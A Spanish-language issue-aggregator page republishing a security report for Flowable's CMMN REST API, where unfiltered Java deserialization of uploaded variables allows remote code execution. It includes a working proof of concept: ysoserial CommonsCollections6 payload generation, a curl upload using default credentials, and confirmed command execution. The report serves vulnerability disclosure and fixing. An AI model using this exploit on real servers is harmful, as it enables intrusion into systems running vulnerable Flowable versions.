Hacktoberfest 2026: los issues que los mantenedores marcaron para octubre, abiertos y aptos para principiantes. Explorar issues de Hacktoberfest

[SECURITY] Deserialization RCE via CMMN REST PlanItemInstance variable endpoint with type=serializable (CWE-502, CVSS 8.1)

Abierto
#4,280 2 comentarios 0 reacciones 0 asignados Ver en GitHub

Nadie ha tomado este issue todavía.

Evaluación

Dificultad
4/5
Tiempo estimado
3-5 días
Aptitud para principiantes
30/100
Tipo de issue
Error
Claridad
Bien especificado
Estado de actividad
Activo
Stack tecnológico
java
Área
security

Línea de trabajo

The vulnerability is in BaseVariableResource.java lines 365-367, where ObjectInputStream.readObject() deserializes user input without filtering. Start by examining the flow from PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable() through setBinaryVariable(). Understand the configuration property 'rest.variables.allow.serializable'. Done looks like implementing a safe deserialization method, such as using an ObjectInputFilter, and ensuring the fix is tested.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

Flowable CMMN REST PlanItemInstance Variable Endpoint Deserialization RCE

Summary

The Flowable CMMN REST module's PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable() endpoint allows uploading files via multipart/form-data to create plan item instance variables. When the type parameter is serializable, the system uses Java native ObjectInputStream.readObject() to deserialize the user-uploaded file content, with no class filtering applied (no whitelist, no blacklist, no ObjectInputFilter). The classpath contains commons-collections-3.2.2.jar, providing the CommonsCollections6 deserialization gadget chain. An attacker can construct a malicious serialized object to achieve remote code execution (RCE).

Affected Version & Commit

Vulnerability Description

Trigger Location

file: modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/caze/BaseVariableResource.java
line: 365-367

// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(instanceId, variableName, value, scope, isNew, async, variableInterceptor);
stream.close();
Data Flow
HTTP POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables
  (Content-Type: multipart/form-data, file=<malicious serialized payload>, name=xxx, type=serializable)
    ↓
PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable()
  PlanItemInstanceVariableCollectionResource.java:70-74
  Calls getPlanItemInstanceFromRequest() to validate plan item existence, then calls createVariable()
    ↓
BaseVariableResource.createVariable(PlanItemInstance, boolean, HttpServletRequest, HttpServletResponse)
  BaseVariableResource.java:188-191
    ↓
BaseVariableResource.createVariable(String, int, boolean, HttpServletRequest, ...)
  BaseVariableResource.java:193-264
  Detects request instanceof MultipartHttpServletRequest → true
  Calls setBinaryVariable()
    ↓
BaseVariableResource.setBinaryVariable(MultipartHttpServletRequest, ...)
  BaseVariableResource.java:303-391
  Parses type=serializable → enters else if (isSerializableVariableAllowed) branch
    ↓
ObjectInputStream.readObject()  ← SINK
  BaseVariableResource.java:365-366
  Directly deserializes user-uploaded file content, no class filtering → RCE
Configuration Switch (Enabled by Default)

BaseVariableResource.java:67:

isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);

Defaults to true, meaning the deserialization path is directly reachable under default configuration.

Affected Endpoints

  • POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables (port 8080)

Exploitation Conditions

Condition Description
Authentication Requires valid HTTP Basic auth credentials (any registered Flowable user; default provides rest-admin:test account)
Network reachability Internal network/public (HTTP reachable REST port 8080)
Configuration dependency rest.variables.allow.serializable=true (enabled by default); CMMN REST API endpoint exposed
Other prerequisites At least one active plan item instance must exist in the database; classpath contains commons-collections-3.2.2.jar

Proof of Concept

# 1. Get available plan item instance list (if none, deploy CMMN case and start instance first)
curl -s -u rest-admin:test \
  "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances"

# 2. Generate CommonsCollections6 payload using ysoserial
java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     --add-opens java.base/java.text=ALL-UNNAMED \
     --add-opens java.desktop/java.awt.font=ALL-UNNAMED \
     --add-opens java.base/java.util.concurrent=ALL-UNNAMED \
     --add-opens java.base/java.net=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections6 \
     "touch /tmp/pwned_0405" > payload.ser

# 3. Send payload to target plan item instance
curl -X POST \
  -u rest-admin:test \
  "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables" \
  -F "name=exploit" \
  -F "type=serializable" \
  -F "scope=local" \
  -F "[email protected]"

Actual execution results:

Payload send request returns HTTP 201 Created:

{
  "name": "CommonsCollections6",
  "type": "serializable",
  "value": null,
  "valueUrl": "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/d3159c3e-8ffe-11f1-a444-02423661ba3a/variables/CommonsCollections6/data",
  "scope": "local"
}

RCE execution result confirmation:

$ ls -la /tmp/pwned_0405
-rw-r----- 1 root root 0 Aug  4 12:22 /tmp/pwned_0405

Exploitation Chain Progress

Chain Stage Location (file:line) Status Evidence / Notes
Entry PlanItemInstanceVariableCollectionResource.java:70 ✅ Connected HTTP POST multipart request reached CMMN REST endpoint
Existence validation BaseVariableResource.java:70-75 ✅ Connected planItemInstanceId validated via parameterized query
Multipart detection BaseVariableResource.java:193 ✅ Connected request instanceof MultipartHttpServletRequest = true
Type branch BaseVariableResource.java:363 ✅ Connected type=serializable → isSerializableVariableAllowed=true (default)
Sink BaseVariableResource.java:365-366 ✅ Triggered ObjectInputStream.readObject() executes deserialization, triggers CC6 chain
RCE result System filesystem ✅ Success Server created file /tmp/pwned_0405, HTTP 201 confirms variable storage success

Impact

  1. Deserialization vulnerability confirmed: The server successfully received and deserialized the CommonsCollections6 payload via ObjectInputStream.readObject()
  2. RCE confirmed: The touch /tmp/pwned_0405 command in the payload executed successfully on the server, file created (timestamp Aug 4 12:22, matching request time)
  3. HTTP 201 response proves the deserialized object was stored as a plan item instance variable with no exception thrown
  4. No class filtering protection: No ObjectInputFilter, whitelist, or blacklist configured in the code; readObject() called directly

Severity

CVSS v3.1: 8.1 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE: CWE-502 (Deserialization of Untrusted Data)

Credit

  • Jiecub3 (GitHub ID: 87791178)
  • Aur0ra-m (GitHub ID: 103031059)
  • lz2y (GitHub ID: 55266300)
Lenguaje dominante
Java
Estrellas
9.6k
Forks
2.9k
Merge medio
1 h 9 min
PR fusionados (30 d)
2

Preparar el entorno

  • Sin Dockerfile ni archivo de Docker Compose
  • Tiene una plantilla de pull request
  • Sin guía de contribución

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Más de flowable/flowable-engine

Todos los issues de flowable/flowable-engine

Issues similares

Más issues de Java

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.